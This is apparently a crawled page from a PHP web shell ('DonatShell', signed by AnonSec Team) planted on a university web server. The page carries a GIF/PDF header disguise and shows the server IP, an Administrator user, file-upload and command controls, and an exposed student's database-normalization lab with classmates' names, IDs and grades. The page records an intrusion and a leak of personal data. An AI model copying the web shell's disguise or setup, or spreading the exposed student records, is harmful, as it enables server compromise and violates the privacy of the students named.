GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/15812201/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/15812201/Lab09/BlakeHanson-Lab09.txt
UNF:
studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

1NF:
-- StudentProfile Table
studentprofile (StudentId*, StudentName, SP, Total, Final, IP)

-- LabGrades Table
labgrades (StudentId@, LabNumber*, Grade)

-- LetterGrade Table (Normalized to 1NF)
lettergrade (LetterGrade, Percentage)

-- PossiblePoints Table (No changes needed, already in 1NF)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)
Note:
Split into two tables:
StudentProfile: Contains unique student data with a primary key StudentId.
LabGrades: Stores each student's grade for each lab individually, with StudentId as a foreign key and LabNumber as a unique composite primary key.


2NF:
-- StudentProfile Table (already in 2NF)
studentprofile (StudentId*, StudentName, SP, Total, Final, IP)

-- LabGrades Table (already in 2NF)
labgrades (StudentId@, LabNumber*, Grade)

-- LetterGrade Table (already in 2NF)
lettergrade (LetterGrade, Percentage)

-- PossiblePoints Table (already in 2NF)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

Note:
No changes are necessary since all the tables pass 2NF as they are.

3NF:
-- StudentProfile Table (modified to remove calculated fields)
studentprofile (StudentId*, StudentName, SP)

-- LabGrades Table (no changes)
labgrades (StudentId@, LabNumber*, Grade)

-- LetterGrade Table (no changes)
lettergrade (LetterGrade, Percentage)

-- PossiblePoints Table (no changes)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

Note:
1. Removed calculated fields (Total, Final, IP) from StudentProfile. These will now be dynamically calculated rather than stored.
2. All other tables remain unchanged.

Three data rows:
studentprofile:
StudentId*	StudentName	SP
84228748	Lael Abbott	4
44107438	Bruce Acosta	5
21479092	Coby Fox	5
labgrades:
StudentId@	LabNumber*	Grade
84228748	1	10
84228748	2	5
84228748	3	9
lettergrade:
LetterGrade	Percentage
A	93
A-	90
B+	87
possiblepoints:
SP	Lab01	Lab02	Lab03	Lab04	Lab05	Lab06	Lab07	Lab08	Lab09	Total
5	10	5	10	10	15	10	15	15	15	110



Anon7 - 2022
AnonSec Team